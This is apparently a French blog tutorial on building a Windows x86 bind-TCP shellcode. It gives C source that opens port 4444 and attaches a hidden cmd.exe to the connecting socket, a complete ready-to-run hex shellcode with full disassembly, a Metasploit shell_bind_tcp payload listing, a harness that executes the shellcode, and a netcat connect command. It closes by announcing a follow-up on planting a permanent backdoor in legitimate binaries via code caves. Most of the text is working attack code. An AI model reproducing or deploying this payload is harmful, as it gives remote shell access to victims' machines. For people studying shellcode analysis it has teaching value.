I. Introduction
Nous allons voir dans cette article comment crée un shellcode "Shell Bind TCP Windows X32".
- Le Pseudo code d'un Shell Bind
TCP windows (serveur)
Il se décompose en 7 étapes
Etape 1 : Initialiser la bibliothèque des sockets
avec en appelant WSAStartup(..)
Etape 2 : Créer une socket d'écoute
Etape 2 : Créer une socket d'écoute
Etape 3/4: Lié la socket au port
souhaité
Etape 5 : Lancer l'attente des connexions sur le port et obtenir la socket client connecté
Etape 5 : Lancer l'attente des connexions sur le port et obtenir la socket client connecté
Etape 6 : Fermer la socket d'écoute. Car on a une connexion
d'un client
Epate 7 : Démarrer le programme "cmd" en mode invisible en redirigeant les flux sur la
Epate 7 : Démarrer le programme "cmd" en mode invisible en redirigeant les flux sur la
socket
II. Ecriture en C de notre shellcode
Dans un programme en C , il faut avant de pouvoir utiliser
la librairie "WinSock2.h" et donc des sockets dans notre code, Il
faut initialiser son utilisation dans notre programme. Cela se fait en appelant
la fonction "WSAStartup" en premier.
Pour
la création du processus "cmd.exe", nous utiliserons l'Api
"CreateProcess"
pour pouvoir configurer le mode
d'affichage, nous devons préciser activer le flag
STARTF_USESHOWWINDOW.
idém pour pouvoir effectué le
routage des flux nous devons activer le flag STARTF_USESTDHANDLES et en configuret les 3 flux
(hStrOutput,hStrInput,..) de STARTUPINFO vers la socket.
#include
"stdafx.h"
#include
"WinShellBindTcpOfC.h"
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
int APIENTRY
_tWinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPTSTR lpCmdLine,int
nCmdShow)
{
// Etape 1 : Initialiser la bibliothèque des sockets en
appelant WSAStartup(..)
WSADATA WSAData;
WSAStartup(0x0202, &WSAData); // Winsock2 est utilisé
// Etape 2 :Create une SOCKET d'écoute
SOCKET MySrvSocket = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, 0, 0, 0);
SOCKADDR_IN stSockAdr;
memset(&stSockAdr, 0x00, sizeof(stSockAdr)); // Initialise structure à zero
stSockAdr.sin_addr.s_addr = INADDR_ANY;
stSockAdr.sin_family = AF_INET;
stSockAdr.sin_port = htons(4444);
// Etape 3 : lier la socket sur le port
DWORD dwBindReturn = bind(MySrvSocket, (SOCKADDR
*)&stSockAdr, sizeof(stSockAdr));
// Etape 4 : configurer la socket l'écoute sur
le port
DWORD dwListenReturn = listen(MySrvSocket, 1); //Maximum outstanding connection requests
is 1
// Etape 5 : Lancer l'attente des
connexions
struct sockaddr_in stSockAdrNew;
memset(&stSockAdrNew, 0x00, sizeof(stSockAdrNew)); // initialise structure à zero
int iSockAdr_size = sizeof(stSockAdrNew);
SOCKET
newSocketConnecting = accept(MySrvSocket, (struct
sockaddr*)&stSockAdrNew, &iSockAdr_size);
// Etape 6 : Fermer la socket d'écoute comme
on a reçu une socket un client connecter
closesocket(MySrvSocket);
//
Epate 7 : Démarrer "cmd" en redirigeant les flux sur la socket
Connecting
STARTUPINFO si;
::ZeroMemory(&si, sizeof(si));
PROCESS_INFORMATION pi;
::ZeroMemory(&pi, sizeof(pi));
si.cb =
sizeof(si);
si.dwFlags =
STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow =
SW_SHOWNORMAL;
si.hStdInput =
(HANDLE) newSocketConnecting;
si.hStdError =
(HANDLE) newSocketConnecting;
si.hStdOutput =
(HANDLE) newSocketConnecting;
char szCmdline[4]="cmd";
BOOL bRes = CreateProcess(0, szCmdline, 0, 0, TRUE,
CREATE_NO_WINDOW | IDLE_PRIORITY_CLASS, 0, 0, &si, &pi);
DWORD dwResWait = WaitForSingleObject(pi.hProcess, INFINITE);
return 1;
}
|
Mais pour pouvoir tester celui-ci, il nous faut un client
ou un programme ce connectant vers le port définit
C'est ce
que l'on va voir dans la partie suivant disposer
d'un client pour le teste.III. La partie Client "Shell Bind TCP"
Nous utilisons un programme maison cela permet de faire des copier/coller rapide dans le display
Mais dans le cas d'école, vous avez pas besoin de cela un simple "netcat" suffira largement , vous pouvez le télécharger
à l'url suivant:
"https://eternallybored.org/misc/netcat/"
Vous devez simplement le lancer en mode client via la
commande suivant dans un cmd
nc.exe -nv <IP Address> <Port>
Comme aucune connexion n'est effectué sur celui-ci, au bout
de quel seconde un message indique qu'il y a pas de réponse.
Maintenant si nous lançons notre programme C au
dessus. Vous voyer la connexion et le sortie apparaître
Et maintenant vous pouvez effectué l'interaction avec la
cible, par exemple taper dir <ENTRER> qui va lister le répertoire de
travail de la cible donc notre répertoire ou est le programme
WinShellBindTCPOfC.
IV. Le Shellcode d'exemple
Pour cela nous n'avons pas chercher très loin. Nous utilisons un outil de notre tools
"ConstructShellCodePEBShellBindTCP.exe" qui inclus
la génération à la volé sur un model classique de metasploit et d'autre exemple. l'intérêt est
qu'il générer le shellcode avec le Port souhaité sans avoir a réfléchir.
Pour notre démonstration de base nous avons fixer le port
4444. Car c'est souvent cette valeur qui est utilisé pour initier au shell Bind TCP dans différents site.
unsigned
char szShellCode_ShellBindTCP[] =
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C"
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52"
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20"
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC"
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75"
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3"
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF"
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77"
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00"
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x08\x59\x50\xE2"
"\xFD\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x02\x00"
"\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x57"
"\x68\xB7\xE9\x38\xFF\xFF\xD5\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57"
"\x97\x68\x75\x6E\x4D\x61\xFF\xD5\x68\x63\x6D\x64\x00\x89\xE3\x57"
"\x57\x57\x31\xF6\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01"
"\x01\x8D\x44\x24\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E"
"\x56\x56\x53\x56\x68\x79\xCC\x3F\x86\xFF\xD5\x89\xE0\x4E\x56\x46"
"\xFF\x30\x68\x08\x87\x1D\x60\xFF\xD5\xBB\xF0\xB5\xA2\x56\x68\xA6"
"\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47"
"\x13\x72\x6F\x6A\x00\x53\xFF\xD5";
|
Maintenant c'est pas trop lisible en soit, donc nous allons désassembler cela via notre outil favoris.
Cela nous donne le code assembleur X32 et les opcodes
correspondant.
00000000: FC CLD
// Clear Direction Flag
00000001: E8 82 00 00 00 CALL 00000082h (+82h ->:00000088)
00000006: 60 PUSHAD
00000007: 89 E5 MOV
EBP,ESP
00000009: 31 C0 XOR
EAX,EAX
0000000B: 64 8B 50 30 MOV EDX,DWORD PTR FS:[EAX+0x30]
0000000F: 8B 52 0C MOV
EDX,DWORD PTR[EDX+0x0C]
00000012: 8B 52 14 MOV
EDX,DWORD PTR[EDX+0x14]
00000015: 8B 72 28 MOV
ESI,DWORD PTR[EDX+0x28]
00000018: 0F B7 4A 26 MOVZX ECX,WORD PTR [EDX+0x26]
0000001C: 31 FF XOR
EDI,EDI
0000001E: AC LODS
BYTE PTR DS:[ESI]
0000001F: 3C 61 CMP
AL,0x61 ('a')
00000021: 7C 02 JL
02h (rel8)(+02h ->:00000025)
00000023: 2C 20 SUB AL,20h
00000025: C1 CF 0D ROR
EDI,0Dh (13)
00000028: 01 C7 ADD
EDI,EAX
0000002A: E2 F2 LOOP
F2h (-FFFFFFF2h=>:0000001E) Dec ECX or CX jump if !=0
0000002C: 52 PUSH
EDX
0000002D: 57 PUSH
EDI
0000002E: 8B 52 10 MOV
EDX,DWORD PTR[EDX+0x10]
00000031: 8B 4A 3C MOV
ECX,[EDX+3Ch]
00000034: 8B 4C 11 78 MOV ECX,DWORD PTR [ECX+EDX*1+78h]
00000038: E3 48 JECXZ
48h (-FFFFFFB8h ->:00000082)
0000003A: 01 D1 ADD
ECX,EDX
0000003C: 51 PUSH
ECX
0000003D: 8B 59 20 MOV
EBX,DWORD PTR [ECX+20h]
00000040: 01 D3 ADD
EBX,EDX
00000042: 8B 49 18 MOV
ECX,DWORD PTR[ECX+18h]
00000045: E3 3A JECXZ
3Ah (-FFFFFFC6h ->:00000081)
00000047: 49 DEC
ECX
00000048: 8B 34 8B MOV
ESI,DWORD PTR[EBX+ECX*4]
0000004B: 01 D6 ADD
ESI,EDX
0000004D: 31 FF XOR
EDI,EDI
0000004F: AC LODS
BYTE PTR DS:[ESI]
00000050: C1 CF 0D ROR
EDI,0Dh (13)
00000053: 01 C7 ADD
EDI,EAX
00000055: 38 E0 CMP
AL,AH
00000057: 75 F6 JNZ
F6h (rel8)(-0Ah ->:0000004F)
00000059: 03 7D F8 ADD
EDI,DWORD PTR [EBP-08h]
0000005C: 3B 7D 24 CMP
EDI,DWORD PTR [EBP+24h]
0000005F: 75 E4 JNZ
E4h (rel8)(-1Ch ->:00000045)
00000061: 58 POP
EAX
00000062: 8B 58 24 MOV
EBX,DWORD PTR [EAX+24h]
00000065: 01 D3 ADD
EBX,EDX
00000067: 66 8B 0C 4B MOV CX,WORD PTR[EBX+ECX*2]
0000006B: 8B 58 1C MOV
EBX,DWORD PTR [EAX+1Ch]
0000006E: 01 D3 ADD
EBX,EDX
00000070: 8B 04 8B MOV
EAX,DWORD PTR[EBX+ECX*4]
00000073: 01 D0 ADD
EAX,EDX
00000075: 89 44 24 24 MOV DWORD PTR[ESP+24h],EAX
00000079: 5B POP
EBX
0000007A: 5B POP
EBX
0000007B: 61 POPAD
0000007C: 59 POP
ECX
0000007D: 5A POP
EDX
0000007E: 51 PUSH
ECX
0000007F: FF E0 JMP
EAX
00000081: 5F POP
EDI
00000082: 5F POP
EDI
00000083: 5A POP
EDX
00000084: 8B 12 MOV
EDX,DWORD PTR [EDX]
00000086: EB 8D JMP
8Dh (-73h ->:00000015)
00000088: 5D POP
EBP
00000089: 68 33 32 00 00 PUSH 00003233h "32" dw:12851 / {51 50
0 0} / < w:0 | w:13106 >
0000008E: 68 77 73 32 5F PUSH 5F327377h "ws2_" dw:1597141879 /
{119 115 50 95} / < w:12895 | w:30579 >
00000093: 54 PUSH
ESP
00000094: 68 4C 77 26 07 PUSH 0726774Ch "Lw&"
(0726774C=Hash[Ror13-Hybrid](kernel32.dll!LoadLibraryA))
00000099: FF D5 CALL
EBP
0000009B: B8 90 01 00 00 MOV EAX, 00000190h ""
000000A0: 29 C4 SUB
ESP,EAX
000000A2: 54 PUSH
ESP
000000A3: 50 PUSH
EAX
000000A4: 68 29 80 6B 00 PUSH 006B8029h ")€k"
(006B8029=Hash[ROR13-Hybrid](ws2_32.dll!WSAStartup))
000000A9: FF D5 CALL
EBP
000000AB: 6A 08 PUSH
08h (8) ' '
000000AD: 59 POP
ECX
000000AE: 50 PUSH
EAX
000000AF: E2 FD LOOP
FDh (-FFFFFFFDh=>:000000AE) Dec ECX or CX jump if !=0
000000B1: 40 INC
EAX
000000B2: 50 PUSH
EAX
000000B3: 40 INC
EAX
000000B4: 50 PUSH
EAX
000000B5: 68 EA 0F DF E0 PUSH E0DF0FEAh "êßà"
(E0DF0FEA=Hash[Ror13-Hybrid](ws2_32.dll!WSASocketA))
000000BA: FF D5 CALL
EBP
000000BC: 97 XCHG
EAX,EDI (Exchanges (swaps) the value of 2 registers)
000000BD: 68 02 00 11 5C PUSH 5C110002h "[1]" dw:1544617986 /
{2 0 17 92} / < w:4444 | w:512 >
000000C2: 89 E6 MOV
ESI,ESP
000000C4: 6A 10 PUSH
10h (16) ''
000000C6: 56 PUSH
ESI
000000C7: 57 PUSH
EDI
000000C8: 68 C2 DB 37 67 PUSH 6737DBC2h "ÂÛ7g"
(6737DBC2=Hash[Ror13-Hybrid](ws2_32.dll!bind))
000000CD: FF D5 CALL
EBP
000000CF: 57 PUSH
EDI
000000D0: 68 B7 E9 38 FF PUSH FF38E9B7h "·é8ÿ"
(FF38E9B7=Hash[ROR13-Hybrid](ws2_32.dll!listen))
000000D5: FF D5 CALL
EBP
000000D7: 57 PUSH
EDI
000000D8: 68 74 EC 3B E1 PUSH E13BEC74h "tì;á"
(E13BEC74=Hash[ROR13-Hybrid](ws2_32.dll!accept))
000000DD: FF D5 CALL
EBP
000000DF: 57 PUSH
EDI
000000E0: 97 XCHG
EAX,EDI (Exchanges (swaps) the value of 2 registers)
000000E1: 68 75 6E 4D 61 PUSH 614D6E75h "unMa"
(614D6E75=Hash[ROR13-Hybrid](ws2_32.dll!closesocket))
000000E6: FF D5 CALL
EBP
000000E8: 68 63 6D 64 00 PUSH 00646D63h "cmd" dw:6581603 / {99
109 100 0} / < w:25600 | w:25453 >
000000ED: 89 E3 MOV
EBX,ESP
000000EF: 57 PUSH
EDI
000000F0: 57 PUSH
EDI
000000F1: 57 PUSH
EDI
000000F2: 31 F6 XOR
ESI,ESI
000000F4: 6A 12 PUSH
12h (18) ' '
000000F6: 59 POP
ECX
000000F7: 56 PUSH
ESI
000000F8: E2 FD LOOP
FDh (-FFFFFFFDh=>:000000F7) Dec ECX or CX jump if !=0
000000FA: 66 C7 44 24 3C 01 01 MOV WORD PTR [ESP+3Ch], 0101h
00000101: 8D 44 24 10 LEA EAX,[ESP+0x10]
00000105: C6 00 44 MOV
BYTE PTR [EAX],44h
00000108: 54 PUSH
ESP
00000109: 50 PUSH
EAX
0000010A: 56 PUSH
ESI
0000010B: 56 PUSH
ESI
0000010C: 56 PUSH
ESI
0000010D: 46 INC
ESI
0000010E: 56 PUSH
ESI
0000010F: 4E DEC
ESI
00000110: 56 PUSH
ESI
00000111: 56 PUSH
ESI
00000112: 53 PUSH
EBX
00000113: 56 PUSH
ESI
00000114: 68 79 CC 3F 86 PUSH 863FCC79h "yÌ?†"
(863FCC79=Hash[Ror13-Hybrid](kernel32.dll!CreateProcessA))
00000119: FF D5 CALL
EBP
0000011B: 89 E0 MOV
EAX,ESP
0000011D: 4E DEC ESI
0000011E: 56 PUSH
ESI
0000011F: 46 INC
ESI
00000120: FF 30 PUSH
DWORD PTR[EAX]
00000122: 68 08 87 1D 60 PUSH 601D8708h " ‡`"
(601D8708=Hash[ROR13-Hybrid](ws2_32.dll!WaitForSingleObject))
00000127: FF D5 CALL
EBP
00000129: BB F0 B5 A2 56 MOV EBX,56A2B5F0h "ðµ¢V"
(56A2B5F0=Hash[ROR13-Hybrid](kernel32.dll!ExitProcess))
0000012E: 68 A6 95 BD 9D PUSH 9DBD95A6h "¦•½"
(EC0E4E8E=Hash[ROR13-Hybrid](kernel32.dll!GetVersion))
00000133: FF D5 CALL
EBP
00000135: 3C 06 CMP
AL,0x06 (' ')
00000137: 7C 0A JL
0Ah (rel8)(+0Ah ->:00000143)
00000139: 80 FB E0 CMP
BL,0xE0
0000013C: 75 05 JNZ
05h (rel8)(+05h ->:00000143)
0000013E: BB 47 13 72 6F MOV EBX,6F721347h "G ro" (6F721347=Hash[ROR13-Hybrid](ntdll.dll!RtlExitUserThread))
00000143: 6A 00 PUSH
00h (0) '
00000145: 53 PUSH
EBX
00000146: FF D5 CALL
EBP
|
C'est bien gentil d'avoir tous ceci , mais c'est pas encore
assez claire. Pour visualiser un peu plus facilement la structure de ce
shellcode. Nous utilisons l'analyse "Diagram" permettant découper les
shellcodes avec une collection de référence de fonction ou bloc standard
Mais si vous pouvez déjà voir l'utilisation de hash
ROR13-Hybrid.
Voici le listing obtenu en mode "Diagram" du
shellcode obtenu avec l'outil.
00000000: FC CLD
// Clear Direction Flag
00000001: E8 82 00 00 00 CALL 00000082h (+82h ->:00000088)
00000006 ->
00000087:
=>CallFnByHash13Hybride_V3(Dll!Name)
00000088: 5D POP
EBP
00000089: 68 33 32 00 00 PUSH 00003233h "32" dw:12851 / {51 50
0 0} / < w:0 | w:13106 >
0000008E: 68 77 73 32 5F PUSH 5F327377h "ws2_" dw:1597141879 /
{119 115 50 95} / < w:12895 | w:30579 >
00000093: 54 PUSH
ESP
00000094: 68 4C 77 26 07 PUSH 0726774Ch "Lw&"
(0726774C=Hash[Ror13-Hybrid](kernel32.dll!LoadLibraryA))
00000099: FF D5 CALL
EBP
0000009B: B8 90 01 00 00 MOV EAX, 00000190h ""
000000A0: 29 C4 SUB
ESP,EAX
000000A2: 54 PUSH
ESP
000000A3: 50 PUSH
EAX
000000A4: 68 29 80 6B 00 PUSH 006B8029h ")€k"
(006B8029=Hash[ROR13-Hybrid](ws2_32.dll!WSAStartup))
000000A9: FF D5 CALL
EBP
000000AB: 6A 08 PUSH
08h (8) ' '
000000AD: 59 POP
ECX
000000AE: 50 PUSH
EAX
000000AF: E2 FD LOOP
FDh (-FFFFFFFDh=>:000000AE) Dec ECX or CX jump if !=0
000000B1: 40 INC
EAX
000000B2: 50 PUSH
EAX
000000B3: 40 INC
EAX
000000B4: 50 PUSH
EAX
000000B5: 68 EA 0F DF E0 PUSH E0DF0FEAh "êßà"
(E0DF0FEA=Hash[Ror13-Hybrid](ws2_32.dll!WSASocketA))
000000BA: FF D5 CALL
EBP
000000BC: 97 XCHG
EAX,EDI (Exchanges (swaps) the value of 2 registers)
000000BD: 68 02 00 11 5C PUSH 5C110002h "[1]" dw:1544617986 /
{2 0 17 92} / < w:4444 | w:512 >
000000C2: 89 E6 MOV
ESI,ESP
000000C4: 6A 10 PUSH
10h (16) ''
000000C6: 56 PUSH ESI
000000C7: 57 PUSH
EDI
000000C8: 68 C2 DB 37 67 PUSH 6737DBC2h "ÂÛ7g"
(6737DBC2=Hash[Ror13-Hybrid](ws2_32.dll!bind))
000000CD: FF D5 CALL
EBP
000000CF: 57 PUSH
EDI
000000D0: 68 B7 E9 38 FF PUSH FF38E9B7h "·é8ÿ" (FF38E9B7=Hash[ROR13-Hybrid](ws2_32.dll!listen))
000000D5: FF D5 CALL
EBP
000000D7: 57 PUSH
EDI
000000D8: 68 74 EC 3B E1 PUSH E13BEC74h "tì;á"
(E13BEC74=Hash[ROR13-Hybrid](ws2_32.dll!accept))
000000DD: FF D5 CALL
EBP
000000DF: 57 PUSH
EDI
000000E0: 97 XCHG
EAX,EDI (Exchanges (swaps) the value of 2 registers)
000000E1: 68 75 6E 4D 61 PUSH 614D6E75h "unMa"
(614D6E75=Hash[ROR13-Hybrid](ws2_32.dll!closesocket))
000000E6: FF D5 CALL
EBP
000000E8: 68 63 6D 64 00 PUSH 00646D63h "cmd" dw:6581603 / {99
109 100 0} / < w:25600 | w:25453 >
000000ED: 89 E3 MOV
EBX,ESP
000000EF: 57 PUSH
EDI
000000F0: 57 PUSH
EDI
000000F1: 57 PUSH
EDI
000000F2: 31 F6 XOR
ESI,ESI
000000F4: 6A 12 PUSH
12h (18) ' '
000000F6: 59 POP
ECX
000000F7: 56 PUSH
ESI
000000F8: E2 FD LOOP
FDh (-FFFFFFFDh=>:000000F7) Dec ECX or CX jump if !=0
000000FA: 66 C7 44 24 3C 01 01 MOV WORD PTR [ESP+3Ch], 0101h
00000101: 8D 44 24 10 LEA EAX,[ESP+0x10]
00000105: C6 00 44 MOV
BYTE PTR [EAX],44h
00000108: 54 PUSH
ESP
00000109: 50 PUSH
EAX
0000010A: 56 PUSH
ESI
0000010B: 56 PUSH
ESI
0000010C: 56 PUSH
ESI
0000010D: 46 INC
ESI
0000010E: 56 PUSH
ESI
0000010F: 4E DEC
ESI
00000110: 56 PUSH
ESI
00000111: 56 PUSH
ESI
00000112: 53 PUSH
EBX
00000113: 56 PUSH
ESI
00000114: 68 79 CC 3F 86 PUSH 863FCC79h "yÌ?†"
(863FCC79=Hash[Ror13-Hybrid](kernel32.dll!CreateProcessA))
00000119: FF D5 CALL
EBP
0000011B: 89 E0 MOV
EAX,ESP
0000011D: 4E DEC ESI
0000011E: 56 PUSH
ESI
0000011F: 46 INC
ESI
00000120: FF 30 PUSH
DWORD PTR[EAX]
00000122: 68 08 87 1D 60 PUSH 601D8708h " ‡`"
(601D8708=Hash[ROR13-Hybrid](ws2_32.dll!WaitForSingleObject))
00000127: FF D5 CALL
EBP
00000129 ->
00000147: =>{CODE}ExitFunk
//Metasploit (Multiple Systems Exit shellcode)
|
Nous retrouvons une variant de la classique fonction CallFnByHash13Hybride
et donc nous avons une structure proche de notre code C/C++
du dessus au finale. Si vous regarder les parties en bleu.
On voit clairement que ce shellcode vient de Metasploit avec
le bloc ExitFunk en mode
EXITFUNC=process et vu l'utilisation du modèle de la fonction CallFnByHash13Hybride_V3
C'est qu'une variante ou un upgrade du shellcode
Metasploit voir la référence suivante:
msf
payload(shell_bind_tcp) > generate
#
windows/shell_bind_tcp - 341 bytes
#
http://www.metasploit.com
#
VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
#
InitialAutoRunScript=, AutoRunScript=
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
+
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
+
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
+
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0"
+
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"
+
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff"
+
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d"
+
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b"
+
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44"
+
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
+
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f"
+
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29"
+
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50"
+
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31"
+
"\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68"
+
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff"
+
"\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7"
+
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
+
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44"
+
"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56"
+
"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86"
+
"\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60"
+
"\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
+
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f"
+
"\x6a\x00\x53\xff\xd5"
|
La version au dessus la seul différence est la fonction CallFnByHash13Hybride
qui est la première signature CallFnByHash13Hybride_V1(Dll!Name)
V. Test de notre Shellcode
Ici nous ne cherchons pas à l'injecter dans un processus ou autre. Nous allons simplement crée un petit programme via Visual Studio pour lancer notre shellcode
#include
"stdafx.h"
#include
"TestShellcodeWinShellBindTCPOfC.h"
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
unsigned char
szShellCode_ShellBindTCP[] =
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C"
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52"
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20"
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC"
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75"
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3"
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF"
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77"
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00"
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x08\x59\x50\xE2"
"\xFD\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x02\x00"
"\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x57"
"\x68\xB7\xE9\x38\xFF\xFF\xD5\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57"
"\x97\x68\x75\x6E\x4D\x61\xFF\xD5\x68\x63\x6D\x64\x00\x89\xE3\x57"
"\x57\x57\x31\xF6\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01"
"\x01\x8D\x44\x24\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E"
"\x56\x56\x53\x56\x68\x79\xCC\x3F\x86\xFF\xD5\x89\xE0\x4E\x56\x46"
"\xFF\x30\x68\x08\x87\x1D\x60\xFF\xD5\xBB\xF0\xB5\xA2\x56\x68\xA6"
"\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47"
"\x13\x72\x6F\x6A\x00\x53\xFF\xD5";
int APIENTRY
_tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR
lpCmdLine,
int
nCmdShow)
{
int (*TestRun_Shellcode)() =
(int(*)())(&szShellCode_ShellBindTCP [0]);
TestRun_Shellcode();
return 1;
}
|
dans notre cas, nous avons intégré à nos outils de création
de shellcode, toujours la fonction "Run" permettant de teste en live
les modification dans le zone de saisie. Mais comme dit c'est du confort quand
on test des variantes du web ou ses propres créations.
Voici maintenant la capture de la démonstration avec un
Virtual Machine "WinXP" et la vision du poste de l'attaquant sous
Windows 7 avec l'énumération via "dir" du répertoire "Mes
documents" sur le poste victime en XP. Et donc visualer les documents dont
pour l'exemple "Pelles C Projects" qui dans la cas réel serait un répertoire source de la victime
VI. Conclusions
Il existe une multitude de shellcode de base disponible sur le "Shell Bind TCP".
Le but était une initiation et
permettre d'introduire un autre sujet dans un prochaine article.
l'utilisation
du code cave pour crée un backdoor permanent dans un programme légitime.
Mais pour cela il fallait déjà présenté la
charge utile qui sera intégré dans un PE d'un binaire légitime.
Aucun commentaire:
Enregistrer un commentaire